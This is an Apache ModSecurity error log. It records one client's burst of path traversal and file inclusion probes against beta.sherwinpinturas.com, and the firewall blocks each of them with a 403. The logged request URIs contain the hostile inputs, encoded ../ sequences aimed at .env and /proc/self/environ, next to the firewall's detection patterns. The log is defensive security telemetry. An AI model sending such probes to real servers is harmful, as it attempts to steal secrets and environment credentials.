[Mon Oct 26 14:54:37.213903 2026] [security2:error] [pid 3083999:tid 3083999] [client 34.39.215.232:33336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 25)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at-h7SWrjl8F3pC1OEgOTQAAABI"]
[Mon Oct 26 14:54:37.214150 2026] [security2:error] [pid 3083999:tid 3083999] [client 34.39.215.232:33336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 25 - SQLI=0,XSS=0,RFI=0,LFI=25,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at-h7SWrjl8F3pC1OEgOTQAAABI"]
[Mon Oct 26 14:54:37.235118 2026] [core:error] [pid 3084035:tid 3084035] [client 34.39.215.232:33280] AH10244: invalid URI path (/static/../../../a/../../../../.env)
[Mon Oct 26 14:54:37.283523 2026] [core:error] [pid 3084034:tid 3084034] [client 34.39.215.232:33264] AH10244: invalid URI path (/static/../../../a/../../../../proc/self/environ)
[Mon Oct 26 14:54:37.356733 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:33302] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at-h7XNsi4cqo2ItOKeAigAAAAM"]
[Mon Oct 26 14:54:37.357292 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:33302] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at-h7XNsi4cqo2ItOKeAigAAAAM"]
[Mon Oct 26 14:54:37.394899 2026] [security2:error] [pid 3084002:tid 3084002] [client 34.39.215.232:33368] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/w/default/jobs_u/get_log_file/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at-h7ZSRnBaU6BmTUZTvIQAAABU"]
[Mon Oct 26 14:54:37.395080 2026] [security2:error] [pid 3084002:tid 3084002] [client 34.39.215.232:33368] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at-h7ZSRnBaU6BmTUZTvIQAAABU"]
[Mon Oct 26 14:54:37.395303 2026] [security2:error] [pid 3084002:tid 3084002] [client 34.39.215.232:33368] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at-h7ZSRnBaU6BmTUZTvIQAAABU"]
[Mon Oct 26 14:54:37.434937 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/api/fs/read"] [unique_id "at-h7SVsqF6Prn45f_BAowAAABM"]
[Mon Oct 26 14:54:37.435514 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/api/fs/read"] [unique_id "at-h7SVsqF6Prn45f_BAowAAABM"]
[Mon Oct 26 14:54:37.435730 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/api/fs/read"] [unique_id "at-h7SVsqF6Prn45f_BAowAAABM"]
[Mon Oct 26 14:54:37.436306 2026] [security2:error] [pid 3084021:tid 3084021] [client 34.39.215.232:33160] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at-h7agotfDqarG_U6DokgAAACE"]
[Mon Oct 26 14:54:37.436474 2026] [security2:error] [pid 3084021:tid 3084021] [client 34.39.215.232:33160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at-h7agotfDqarG_U6DokgAAACE"]
[Mon Oct 26 14:54:37.436566 2026] [security2:error] [pid 3084030:tid 3084030] [client 34.39.215.232:33240] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /%2e%2e/ found within REQUEST_URI_RAW: /cache/original/%2e%2e/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/cache/.env"] [unique_id "at-h7btvIKIhw4_Op_OQnwAAACk"]
[Mon Oct 26 14:54:37.436637 2026] [security2:error] [pid 3084030:tid 3084030] [client 34.39.215.232:33240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cache/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/cache/.env"] [unique_id "at-h7btvIKIhw4_Op_OQnwAAACk"]
[Mon Oct 26 14:54:37.436682 2026] [security2:error] [pid 3084021:tid 3084021] [client 34.39.215.232:33160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at-h7agotfDqarG_U6DokgAAACE"]
[Mon Oct 26 14:54:37.436755 2026] [security2:error] [pid 3084030:tid 3084030] [client 34.39.215.232:33240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/cache/.env"] [unique_id "at-h7btvIKIhw4_Op_OQnwAAACk"]
[Mon Oct 26 14:54:37.437055 2026] [security2:error] [pid 3084030:tid 3084030] [client 34.39.215.232:33240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/cache/.env"] [unique_id "at-h7btvIKIhw4_Op_OQnwAAACk"]
[Mon Oct 26 14:54:37.437816 2026] [security2:error] [pid 3084027:tid 3084027] [client 34.39.215.232:33190] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at-h7W2tU31X1qF-NiHkQwAAACc"]
[Mon Oct 26 14:54:37.438069 2026] [security2:error] [pid 3084027:tid 3084027] [client 34.39.215.232:33190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at-h7W2tU31X1qF-NiHkQwAAACc"]
[Mon Oct 26 14:54:37.438316 2026] [security2:error] [pid 3084027:tid 3084027] [client 34.39.215.232:33190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at-h7W2tU31X1qF-NiHkQwAAACc"]
[Mon Oct 26 14:54:37.496137 2026] [security2:error] [pid 3083994:tid 3083994] [client 34.39.215.232:33308] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:file: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/api/system/fileView"] [unique_id "at-h7XtG0gh1_iD5Sux2IgAAAAw"]
[Mon Oct 26 14:54:37.524122 2026] [security2:error] [pid 3083994:tid 3083994] [client 34.39.215.232:33308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/api/system/fileView"] [unique_id "at-h7XtG0gh1_iD5Sux2IgAAAAw"]
[Mon Oct 26 14:54:37.524483 2026] [security2:error] [pid 3083994:tid 3083994] [client 34.39.215.232:33308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/api/system/fileView"] [unique_id "at-h7XtG0gh1_iD5Sux2IgAAAAw"]
[Mon Oct 26 14:54:37.577703 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /%2e%2e/ found within REQUEST_URI_RAW: /cache/original/%2e%2e/%2e%2e/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h7ewhFnyxLKqf5CkqigAAAB0"]
[Mon Oct 26 14:54:37.577782 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h7ewhFnyxLKqf5CkqigAAAB0"]
[Mon Oct 26 14:54:37.577967 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h7ewhFnyxLKqf5CkqigAAAB0"]
[Mon Oct 26 14:54:37.578228 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h7ewhFnyxLKqf5CkqigAAAB0"]
[Mon Oct 26 14:54:37.594224 2026] [security2:error] [pid 3084007:tid 3084007] [client 34.39.215.232:33010] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7RrehvC7c7rdooIrVwAAABs"]
[Mon Oct 26 14:54:37.683779 2026] [security2:error] [pid 3084028:tid 3084028] [client 34.39.215.232:33216] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7TNCW1sIGMJYhKwrNwAAACg"]
[Mon Oct 26 14:54:37.683909 2026] [security2:error] [pid 3084028:tid 3084028] [client 34.39.215.232:33216] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7TNCW1sIGMJYhKwrNwAAACg"]
[Mon Oct 26 14:54:37.683943 2026] [security2:error] [pid 3084007:tid 3084007] [client 34.39.215.232:33010] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7RrehvC7c7rdooIrVwAAABs"]
[Mon Oct 26 14:54:37.683974 2026] [security2:error] [pid 3084028:tid 3084028] [client 34.39.215.232:33216] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7TNCW1sIGMJYhKwrNwAAACg"]
[Mon Oct 26 14:54:37.684014 2026] [security2:error] [pid 3084007:tid 3084007] [client 34.39.215.232:33010] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7RrehvC7c7rdooIrVwAAABs"]
[Mon Oct 26 14:54:37.684604 2026] [security2:error] [pid 3084028:tid 3084028] [client 34.39.215.232:33216] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7TNCW1sIGMJYhKwrNwAAACg"]
